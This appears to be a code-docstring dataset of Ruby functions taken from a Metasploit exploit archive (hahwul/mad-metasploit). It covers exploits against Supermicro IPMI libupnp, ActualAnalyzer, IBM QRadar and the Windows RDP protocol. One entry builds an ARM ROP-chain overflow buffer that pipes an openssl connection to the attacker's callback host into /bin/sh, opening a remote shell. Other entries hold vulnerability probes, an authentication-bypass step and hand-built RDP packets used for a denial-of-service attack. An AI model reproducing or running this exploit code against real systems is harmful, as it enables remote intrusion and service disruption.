The following link is useful to understand how to craft the USERAUTH password change request packet: http://fossies.org/dox/openssh-6.1p1/sshconnect2_8c_source.html#l00903
userauth_passwd_change
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/23156.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/23156.rb
MIT
def target_supermicro_ipmi_131 # Create a fixed-size buffer for the payload buffer = Rex::Text.rand_text_alpha(2000) # Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char() buffer[0,1] = '"' buffer[1999,1] = '"' # Prefer CBHOST, but use LHOST, or autodetect the IP otherwise cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST']) # Start a listener start_listener(true) # Figure out the port we picked cbport = self.service.getsockname[2] # Restart the service and use openssl to stage the real payload # Staged because only ~150 bytes of contiguous data are available before mangling cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#" buffer[432, cmd.length] = cmd # Adjust $r3 to point from the bottom of the stack back into our buffer buffer[304,4] = [0x4009daf8].pack("V") # # 0x4009daf8: add r3, r3, r4, lsl #2 # 0x4009dafc: ldr r0, [r3, #512] ; 0x200 # 0x4009db00: pop {r4, r10, pc} # The offset (right-shifted by 2 ) to our command string above buffer[284,4] = [0xfffffe78].pack("V") # # Copy $r3 into $r0 buffer[316,4] = [0x400db0ac].pack("V") # 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1 # 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4) # Move our stack pointer down so as not to corrupt our payload buffer[320,4] = [0x400a5568].pack("V") # 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198 # 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc} # Finally return to system() with $r0 pointing to our string buffer[141,4] = [0x400add8c].pack("V") return buffer =begin 00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev 00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev 00032000-00055000 rwxp 00000000 00:00 0 [heap] 40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so 40015000-40017000 rwxp 00000000 00:00 0 4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so 4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so 4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so 4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so 40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so 40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so 40036000-40078000 rwxp 00000000 00:00 0 40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so 40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so 40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so 40185000-40187000 rwxp 00000000 00:00 0 bd600000-bd601000 ---p 00000000 00:00 0 bd601000-bd800000 rwxp 00000000 00:00 0 bd800000-bd801000 ---p 00000000 00:00 0 bd801000-bda00000 rwxp 00000000 00:00 0 bdc00000-bdc01000 ---p 00000000 00:00 0 bdc01000-bde00000 rwxp 00000000 00:00 0 be000000-be001000 ---p 00000000 00:00 0 be001000-be200000 rwxp 00000000 00:00 0 be941000-be956000 rwxp 00000000 00:00 0 [stack] =end end
These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
target_supermicro_ipmi_131
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/24455.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/24455.rb
MIT
def target_debug buffer = Rex::Text.pattern_create(2000) end
Generate a buffer that provides a starting point for exploit development
target_debug
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/24455.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/24455.rb
MIT
def configure_socket self.udp_sock = Rex::Socket::Udp.create({ 'Context' => { 'Msf' => framework, 'MsfExploit' => self } }) add_socket(self.udp_sock) end
We need an unconnected socket because SSDP replies often come from a different sent port than the one we sent to. This also breaks the standard UDP mixin.
configure_socket
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/24455.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/24455.rb
MIT
def check res = send_request_raw({ 'uri' => normalize_uri(target_uri.path) }) if not res print_error("#{peer} - Connection timed out") return Exploit::CheckCode::Unknown end if res.body =~ /Eppler Software/ if res.body =~ / - v5\.1\.20101016/ print_status("#{peer} - Found version: 5.1.20101016") return Exploit::CheckCode::Vulnerable elsif res.body =~ / - v(5\.[\d\.]+)/ print_status("#{peer} - Found version: #{$1}") return Exploit::CheckCode::Appears else return Exploit::CheckCode::Detected end else return Exploit::CheckCode::Safe end end
Checks if target is running WebTester version 5.x
check
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/29132.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/29132.rb
MIT
def check # check for aa.php res = send_request_raw('uri' => normalize_uri(target_uri.path, 'aa.php')) if !res vprint_error("#{peer} - Connection failed") return Exploit::CheckCode::Unknown elsif res.code == 404 vprint_error("#{peer} - Could not find aa.php") return Exploit::CheckCode::Safe elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ && res.body =~ /Admin area<\/title>/ vprint_error("#{peer} - ActualAnalyzer is not installed. Try installing first.") return Exploit::CheckCode::Detected end # check version res = send_request_raw('uri' => normalize_uri(target_uri.path, 'view.php')) if !res vprint_error("#{peer} - Connection failed") return Exploit::CheckCode::Unknown elsif res.code == 200 && /title="ActualAnalyzer Lite \(free\) (?<version>[\d\.]+)"/ =~ res.body vprint_status("#{peer} - Found version: #{version}") if Gem::Version.new(version) <= Gem::Version.new('2.81') report_vuln( host: rhost, name: self.name, info: "Module #{fullname} detected ActualAnalyzer #{version}", refs: references, ) return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Detected elsif res.code == 200 && res.body =~ /ActualAnalyzer Lite/ return Exploit::CheckCode::Detected end Exploit::CheckCode::Safe end
Checks if target is running ActualAnalyzer <= 2.81
check
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/35549.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/35549.rb
MIT
def get_analytics_host_view analytics_host = nil res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'view.php'), 'vars_post' => { 'id_h' => '', 'listp' => '', 'act_h' => 'vis_int', 'oldact' => 'vis_grpg', 'tint_h' => '', 'extact_h' => '', 'home_pos' => '', 'act' => 'vis_grpg', 'tint' => 'total', 'grpg' => '201', 'cp_vst' => 'on', 'cp_hst' => 'on', 'cp_htst' => 'on', 'cp_reps' => 'y', 'tab_sort' => '1_1' } ) if !res vprint_error("#{peer} - Connection failed") elsif /<option value="?[\d]+"?[^>]*>Page: https?:\/\/(?<analytics_host>[^\/^<]+)/ =~ res.body vprint_good("#{peer} - Found analytics host: #{analytics_host}") return analytics_host else vprint_status("#{peer} - Could not find any hosts on view.php") end nil end
Try to retrieve a valid analytics host from view.php unauthenticated
get_analytics_host_view
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/35549.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/35549.rb
MIT
def get_analytics_host_code analytics_host = nil res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, 'code.php'), 'vars_get' => { 'pid' => '1' } ) if !res vprint_error("#{peer} - Connection failed") elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body vprint_good("#{peer} - Found analytics host: #{analytics_host}") return analytics_host else vprint_status("#{peer} - Could not find any hosts on code.php") end nil end
Try to retrieve a valid analytics host from code.php unauthenticated
get_analytics_host_code
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/35549.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/35549.rb
MIT
def get_analytics_host_admin analytics_host = nil user = datastore['USERNAME'] pass = datastore['PASSWORD'] res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin.php'), 'vars_post' => { 'uname' => user, 'passw' => pass, 'id_h' => '', 'listp' => '', 'act_h' => '', 'oldact' => 'pages', 'tint_h' => '', 'extact_h' => '', 'param_h' => '', 'param2_h' => '', 'home_pos' => '', 'act' => 'dynhtml', 'set.x' => '11', 'set.y' => '11' } ) if !res vprint_error("#{peer} - Connection failed") elsif res.code == 200 && res.body =~ />Login</ vprint_status("#{peer} - Login failed.") elsif res.code == 200 && /alt='ActualAnalyzer' src='https?:\/\/(?<analytics_host>[^\/^']+)/ =~ res.body vprint_good("#{peer} - Found analytics host: #{analytics_host}") print_good("#{peer} - Login successful! (#{user}:#{pass})") service_data = { address: Rex::Socket.getaddress(rhost, true), port: rport, service_name: (ssl ? 'https' : 'http'), protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, private_type: :password, private_data: pass, username: user } credential_data.merge!(service_data) credential_core = create_credential(credential_data) login_data = { core: credential_core, last_attempted_at: DateTime.now, status: Metasploit::Model::Login::Status::SUCCESSFUL } login_data.merge!(service_data) create_credential_login(login_data) return analytics_host else vprint_status("#{peer} - Could not find any hosts on admin.php") end nil end
Try to retrieve a valid analytics host from admin.php with creds
get_analytics_host_admin
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/35549.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/35549.rb
MIT
def set_cookies @sec_cookie = SecureRandom.uuid @csrf_cookie = SecureRandom.uuid post_data = "#{rand_text_alpha(5..12)},#{rand_text_alpha(5..12)}," + "#{@sec_cookie},#{@csrf_cookie}" res = send_request_cgi({ 'uri' => '/ForensicsAnalysisServlet/', 'method' => 'POST', 'ctype' => 'application/json', 'cookie' => "SEC=#{@sec_cookie}; QRadarCSRF=#{@csrf_cookie};", 'vars_get' => { 'action' => 'setSecurityTokens', 'forensicsManagedHostIps' => "#{rand(256)}.#{rand(256)}.#{rand(256)}.#{rand(256)}" }, 'data' => post_data }) if res.nil? or res.code != 200 fail_with(Failure::Unknown, "#{peer} - Failed to set the SEC and QRadar CSRF cookies") end end
step 1 of the exploit, bypass authentication in the ForensicAnalysisServlet
set_cookies
ruby
hahwul/mad-metasploit
archive/exploits/unix/remote/45005.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/unix/remote/45005.rb
MIT
def send_cmd_datax(args, data, mode = 'a', nsock = self.sock) args[0] = "LIST" # Set the transfer mode and connect to the remove server return nil if not data_connect(mode) # Our pending command should have got a connection now. res = send_cmd(args, true, nsock) # make sure could open port return nil unless res =~ /^(150|125) / # dispatch to the proper method begin data = self.datasocket.get_once(-1, ftp_timeout) rescue ::EOFError data = nil end select(nil,nil,nil,1) # close data channel so command channel updates data_disconnect # get status of transfer ret = nil ret = recv_ftp_resp(nsock) ret = [ ret, data ] ret end
Workaround: modified send_cmd_data function with short sleep time before data_disconnect call Bug Tracker: 4868
send_cmd_datax
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/17476.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/17476.rb
MIT
def int_to_bytestring(daInt, num_chars = nil) unless(num_chars) bits_needed = Math.log(daInt) / Math.log(2) num_chars = (bits_needed / 8.0).ceil end if(pack_code = { 1 => 'C', 2 => 'S', 4 => 'L' }[ num_chars ]) [daInt].pack(pack_code) else a = (0..(num_chars)).map{ | i | (( daInt >> i*8 ) & 0xFF ).chr }.join a[0..-2] # Seems legit lol! end end
# https://www.ruby-forum.com/t/integer-to-byte-string-speed-improvements/67110
int_to_bytestring
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def rdp_build_pkt(data, rc4enckey = nil, hmackey = nil, channel_id = "\x03\xeb", client_info = false, rdp_sec = true) flags = 0 flags |= 0b1000 if(rdp_sec) # Set SEC_ENCRYPT flags |= 0b1000000 if(client_info) # Set SEC_INFO_PKT pdu = "" ## TS_SECURITY_HEADER - 2.2.8.1.1.2.1 ## Send when the packet is encrypted w/ Standard RDP Security and in all Client Info PDUs. if(client_info || rdp_sec) pdu << [flags].pack("S<") # flags "\x48\x00" = SEC_INFO_PKT | SEC_ENCRYPT pdu << "\x00\x00" # flagsHi end if(rdp_sec) ## Encrypt the payload with RDP Standard Encryption. pdu << rdp_hmac(hmackey, data)[0..7] pdu << rdp_rc4_crypt(rc4enckey, data) else pdu << data end user_data_len = pdu.length udl_with_flag = 0x8000 | user_data_len pkt = "\x64" # sendDataRequest pkt << "\x00\x08" # intiator userId (TODO: for a functional client this isn't static) pkt << channel_id # channelId pkt << "\x70" # dataPriority pkt << [udl_with_flag].pack("S>") pkt << pdu return(rdp_build_data_tpdu(pkt)) end
# Build the X.224 packet, encrypt with Standard RDP Security as needed. # Default channel_id = 0x03eb = 1003.
rdp_build_pkt
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def rdp_build_share_control_header(type, data, channel_id = "\xf1\x03") total_len = data.length + 6 return( [total_len].pack("S<") + # totalLength - includes all headers [type].pack("S<") + # pduType - flags 16 bit, unsigned channel_id + # PDUSource: 0x03f1 = 1009 data ) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/73d01865-2eae-407f-9b2c-87e31daac471 # Share Control Header - TS_SHARECONTROLHEADER - 2.2.8.1.1.1.1
rdp_build_share_control_header
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def rdp_build_share_data_header(type, data) uncompressed_len = data.length + 4 return( "\xea\x03\x01\x00" + # shareId: 66538 "\x00" + # pad1 "\x01" + # streamID: 1 [uncompressed_len].pack("S<") + # uncompressedLength - 16 bit, unsigned int [type].pack("C") + # pduType2 - 8 bit, unsigned int - 2.2.8.1.1.2 "\x00" + # compressedType: 0 "\x00\x00" + # compressedLength: 0 data ) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/4b5d4c0d-a657-41e9-9c69-d58632f46d31 # Share Data Header - TS_SHAREDATAHEADER - 2.2.8.1.1.1.2
rdp_build_share_data_header
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def rdp_build_virtual_channel_pdu(flags, data) data_len = data.length return( [data_len].pack("L<") + # length [flags].pack("L<") + # flags data ) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/6c074267-1b32-4ceb-9496-2eb941a23e6b # Virtual Channel PDU 2.2.6.1
rdp_build_virtual_channel_pdu
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def rdp_hmac(mac_salt_key, data_content) sha1 = Digest::SHA1.new md5 = Digest::MD5.new pad1 = "\x36" * 40 pad2 = "\x5c" * 48 sha1 << mac_salt_key sha1 << pad1 sha1 << [data_content.length].pack('<L') sha1 << data_content md5 << mac_salt_key md5 << pad2 md5 << [sha1.hexdigest].pack("H*") return([md5.hexdigest].pack("H*")) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/7c61b54e-f6cd-4819-a59a-daf200f6bf94 # mac_salt_key = "W\x13\xc58\x7f\xeb\xa9\x10*\x1e\xddV\x96\x8b[d" # data_content = "\x12\x00\x17\x00\xef\x03\xea\x03\x02\x00\x00\x01\x04\x00$\x00\x00\x00" # hmac = rdp_hmac(mac_salt_key, data_content) # hexlified: "22d5aeb486994a0c785dc929a2855923".
rdp_hmac
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def rdp_parse_connect_response(pkt) ptr = 0 rdp_pkt = pkt[0x49..pkt.length] while(ptr < rdp_pkt.length) header_type = rdp_pkt[ptr..ptr + 1] header_length = rdp_pkt[ptr + 2..ptr + 3].unpack("S<")[0] # vprint_status("header: #{bin_to_hex(header_type)}, len: #{header_length}") if(header_type == "\x02\x0c") # vprint_status("Security header") server_random = rdp_pkt[ptr + 20..ptr + 51] public_exponent = rdp_pkt[ptr + 84..ptr + 87] modulus = rdp_pkt[ptr + 88..ptr + 151] # vprint_status("modulus_old: #{bin_to_hex(modulus)}") rsa_magic = rdp_pkt[ptr + 68..ptr + 71] if(rsa_magic != "RSA1") print_error("Server cert isn't RSA, this scenario isn't supported (yet).") raise RdpCommunicationError end # vprint_status("RSA magic: #{rsa_magic}") bitlen = rdp_pkt[ptr + 72..ptr + 75].unpack("L<")[0] - 8 vprint_status("RSA #{bitlen}-bits") modulus = rdp_pkt[ptr + 88..ptr + 87 + bitlen] # vprint_status("modulus_new: #{bin_to_hex(modulus)}") end ptr += header_length end # vprint_status("SERVER_MODULUS: #{bin_to_hex(modulus)}") # vprint_status("SERVER_EXPONENT: #{bin_to_hex(public_exponent)}") # vprint_status("SERVER_RANDOM: #{bin_to_hex(server_random)}") rsmod = bytes_to_bignum(modulus) rsexp = bytes_to_bignum(public_exponent) rsran = bytes_to_bignum(server_random) vprint_status("MODULUS: #{bin_to_hex(modulus)} - #{rsmod.to_s}") vprint_status("EXPONENT: #{bin_to_hex(public_exponent)} - #{rsexp.to_s}") vprint_status("SVRANDOM: #{bin_to_hex(server_random)} - #{rsran.to_s}") return rsmod, rsexp, rsran, server_random, bitlen end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/927de44c-7fe8-4206-a14f-e5517dc24b1c # Parse Server MCS Connect Response PUD - 2.2.1.4
rdp_parse_connect_response
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def rdp_salted_hash(s_bytes, i_bytes, client_random_bytes, server_random_bytes) sha1 = Digest::SHA1.new md5 = Digest::MD5.new sha1 << i_bytes sha1 << s_bytes sha1 << client_random_bytes sha1 << server_random_bytes md5 << s_bytes md5 << [sha1.hexdigest].pack("H*") return([md5.hexdigest].pack("H*")) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/705f9542-b0e3-48be-b9a5-cf2ee582607f # SaltedHash(S, I) = MD5(S + SHA(I + S + ClientRandom + ServerRandom))
rdp_salted_hash
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_negotiation_request(user_name = "", requested_protocols = RDPConstants::PROTOCOL_RDP) ## Blank username is valid, nil is random. user_name = Rex::Text.rand_text_alpha(12) if(user_name.nil?) tpkt_len = user_name.length + 38 x224_len = user_name.length + 33 return( "\x03\x00" + # TPKT Header version 03, reserved 0 [tpkt_len].pack("S>") + # TPKT length: 43 [x224_len].pack("C") + # X.224 LengthIndicator "\xe0" + # X.224 Type: Connect Request "\x00\x00" + # dst reference "\x00\x00" + # src reference "\x00" + # class and options "\x43\x6f\x6f\x6b\x69\x65\x3a\x20\x6d\x73\x74\x73\x68\x61\x73\x68\x3d" + # cookie - literal 'Cookie: mstshash=' user_name + # Identifier "username" "\x0d\x0a" + # cookie terminator "\x01\x00" + # Type: RDP Negotiation Request (0x01) "\x08\x00" + # Length [requested_protocols].pack('L<') # requestedProtocols ) end
------------------------------------------------------------------------- # # https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/18a27ef9-6f9a-4501-b000-94b1fe3c2c10 # Client X.224 Connect Request PDU - 2.2.1.1
pdu_negotiation_request
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_connect_initial(selected_proto = RDPConstants::PROTOCOL_RDP, host_name = "rdesktop", channels_defs = DEFAULT_CHANNELS_DEFS) ## After negotiating TLS or NLA the connectInitial packet needs to include the ## protocol selection that the server indicated in its negotiation response. ## TODO: If this is pulled into an RDP library then the channel list likely ## needs to be build dynamically. For example, MS_T120 likely should only ## ever be sent as part of checks for CVE-2019-0708. ## build clientName - 12.2.1.3.2 Client Core Data (TS_UD_CS_CORE) ## 15 characters + null terminator, converted to unicode ## fixed length - 32 characters total name_unicode = Rex::Text.to_unicode(host_name[0..14], type = 'utf-16le') name_unicode += "\x00" * (32 - name_unicode.length) pdu = "\x7f\x65" + # T.125 Connect-Initial (BER: Application 101) "\x82\x01\xb2" + # Length (BER: Length) "\x04\x01\x01" + # CallingDomainSelector: 1 (BER: OctetString) "\x04\x01\x01" + # CalledDomainSelector: 1 (BER: OctetString) "\x01\x01\xff" + # UpwaredFlag: True (BER: boolean) ## Connect-Initial: Target Parameters "\x30\x19" + # TargetParamenters (BER: SequenceOf) ## *** not sure why the BER encoded Integers below have 2 byte values instead of one *** "\x02\x01\x22\x02\x01\x02\x02\x01\x00\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" + ## Connect-Intial: Minimum Parameters "\x30\x19" + # MinimumParameters (BER: SequencOf) "\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\x04\x20\x02\x01\x02" + ## Connect-Initial: Maximum Parameters "\x30\x1c" + # MaximumParameters (BER: SequencOf) "\x02\x02\xff\xff\x02\x02\xfc\x17\x02\x02\xff\xff\x02\x01\x01\x02\x01\x00\x02\x01\x01\x02\x02\xff\xff\x02\x01\x02" + ## Connect-Initial: UserData "\x04\x82\x01\x51" + # UserData, length 337 (BER: OctetString) ## T.124 GCC Connection Data (ConnectData) - PER Encoding used "\x00\x05" + # object length "\x00\x14\x7c\x00\x01" + # object: OID 0.0.20.124.0.1 = Generic Conference Control "\x81\x48" + # Length: ??? (Connect PDU) "\x00\x08\x00\x10\x00\x01\xc0\x00" + # T.124 Connect PDU, Conference name 1 "\x44\x75\x63\x61" + # h221NonStandard: 'Duca' (client-to-server H.221 key) "\x81\x3a" + # Length: ??? (T.124 UserData section) ## Client MCS Section - 2.2.1.3 "\x01\xc0" + # clientCoreData (TS_UD_CS_CORE) header - 2.2.1.3.2 "\xea\x00" + # Length: 234 (includes header) "\x0a\x00\x08\x00" + # version: 8.1 (RDP 5.0 -> 8.1) "\x80\x07" + # desktopWidth: 1920 "\x38\x04" + # desktopHeigth: 1080 "\x01\xca" + # colorDepth: 8 bpp "\x03\xaa" + # SASSequence: 43523 "\x09\x04\x00\x00" + # keyboardLayout: 1033 (English US) "\xee\x42\x00\x00" + # clientBuild: ???? [name_unicode].pack("a*") + # clientName "\x04\x00\x00\x00" + # keyboardType: 4 (IBMEnhanced 101 or 102) "\x00\x00\x00\x00" + # keyboadSubtype: 0 "\x0c\x00\x00\x00" + # keyboardFunctionKey: 12 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + # imeFileName (64 bytes) "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + "\x01\xca" + # postBeta2ColorDepth: 8 bpp "\x01\x00" + # clientProductID: 1 "\x00\x00\x00\x00" + # serialNumber: 0 "\x18\x00" + # highColorDepth: 24 bpp "\x0f\x00" + # supportedColorDepths: flag (24 bpp | 16 bpp | 15 bpp) "\xaf\x07" + # earlyCapabilityFlags "\x62\x00\x63\x00\x37\x00\x38\x00\x65\x00\x66\x00\x36\x00\x33\x00" + # clientDigProductID (64 bytes) "\x2d\x00\x39\x00\x64\x00\x33\x00\x33\x00\x2d\x00\x34\x00\x31\x00" + "\x39\x38\x00\x38\x00\x2d\x00\x39\x00\x32\x00\x63\x00\x66\x00\x2d" + "\x00\x00\x31\x00\x62\x00\x32\x00\x64\x00\x61\x00\x42\x42\x42\x42" + "\x07" + # connectionType: 7 "\x00" + # pad1octet ## serverSelectedProtocol - After negotiating TLS or CredSSP this value ## must match the selectedProtocol value from the server's Negotiate ## Connection confirm PDU that was sent before encryption was started. [selected_proto].pack('L<') + # "\x01\x00\x00\x00" "\x56\x02\x00\x00" + "\x50\x01\x00\x00" + "\x00\x00" + "\x64\x00\x00\x00" + "\x64\x00\x00\x00" + "\x04\xc0" + # clientClusterdata (TS_UD_CS_CLUSTER) header - 2.2.1.3.5 "\x0c\x00" + # Length: 12 (includes header) "\x15\x00\x00\x00" + # flags (REDIRECTION_SUPPORTED | REDIRECTION_VERSION3) "\x00\x00\x00\x00" + # RedirectedSessionID "\x02\xc0" + # clientSecuritydata (TS_UD_CS_SEC) header - 2.2.1.3.3 "\x0c\x00" + # Length: 12 (includes header) "\x1b\x00\x00\x00" + # encryptionMethods: 3 (40 bit | 128 bit) "\x00\x00\x00\x00" + # extEncryptionMethods (French locale only) "\x03\xc0" + # clientNetworkData (TS_UD_CS_NET) - 2.2.1.3.4 "\x38\x00" + # Length: 56 (includes header) channels_defs ## Fix. for packet modification. ## T.125 Connect-Initial size_1 = [pdu.length - 5].pack("s") # Length (BER: Length) pdu[3] = size_1[1] pdu[4] = size_1[0] ## Connect-Initial: UserData size_2 = [pdu.length - 102].pack("s") # UserData, length (BER: OctetString) pdu[100] = size_2[1] pdu[101] = size_2[0] ## T.124 GCC Connection Data (ConnectData) - PER Encoding used size_3 = [pdu.length - 111].pack("s") # Length (Connect PDU) pdu[109] = "\x81" pdu[110] = size_3[0] size_4 = [pdu.length - 125].pack("s") # Length (T.124 UserData section) pdu[123] = "\x81" pdu[124] = size_4[0] ## Client MCS Section - 2.2.1.3 size_5 = [pdu.length - 383].pack("s") # Length (includes header) pdu[385] = size_5[0] rdp_build_data_tpdu(pdu) end
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/db6713ee-1c0e-4064-a3b3-0fac30b4037b
pdu_connect_initial
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_security_exchange(rcran, rsexp, rsmod, bitlen) encrypted_rcran_bignum = rsa_encrypt(rcran, rsexp, rsmod) encrypted_rcran = int_to_bytestring(encrypted_rcran_bignum) bitlen += 8 # Pad with size of TS_SECURITY_PACKET header userdata_length = 8 + bitlen userdata_length_low = userdata_length & 0xFF userdata_length_high = userdata_length / 256 flags = 0x80 | userdata_length_high pdu = "\x64" + # T.125 sendDataRequest "\x00\x08" + # intiator userId "\x03\xeb" + # channelId = 1003 "\x70" + # dataPriority = high, segmentation = begin | end [flags].pack("C") + [userdata_length_low].pack("C") + # UserData length # TS_SECURITY_PACKET - 2.2.1.10.1 "\x01\x00" + # securityHeader flags "\x00\x00" + # securityHeader flagsHi [bitlen].pack("L<") + # TS_ length encrypted_rcran + # encryptedClientRandom - 64 bytes "\x00\x00\x00\x00\x00\x00\x00\x00" # 8 bytes rear padding (always present) return(rdp_build_data_tpdu(pdu)) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/9cde84cd-5055-475a-ac8b-704db419b66f # Client Security Exchange PDU - 2.2.1.10
pdu_security_exchange
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_erect_domain_request() pdu = "\x04" + # T.125 ErectDomainRequest "\x01\x00" + # subHeight - length 1, value 0 "\x01\x00" # subInterval - length 1, value 0 return(rdp_build_data_tpdu(pdu)) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/04c60697-0d9a-4afd-a0cd-2cc133151a9c # Client MCS Erect Domain Request PDU - 2.2.1.5
pdu_erect_domain_request
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_attach_user_request() pdu = "\x28" # T.125 AttachUserRequest return(rdp_build_data_tpdu(pdu)) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/f5d6a541-9b36-4100-b78f-18710f39f247\ # Client MCS Attach User Request PDU - 2.2.1.6
pdu_attach_user_request
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
def pdu_channel_request(user1, channel_id) pdu = "\x38" + [user1, channel_id].pack("nn") # T.125 ChannelJoinRequest return(rdp_build_data_tpdu(pdu)) end
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rdpbcgr/64564639-3b2d-4d2c-ae77-1105b4cc011b # Client MCS Channel Join Request PDU -2.2.1.8
pdu_channel_request
ruby
hahwul/mad-metasploit
archive/exploits/windows/dos/47120.rb
https://github.com/hahwul/mad-metasploit/blob/master/archive/exploits/windows/dos/47120.rb
MIT
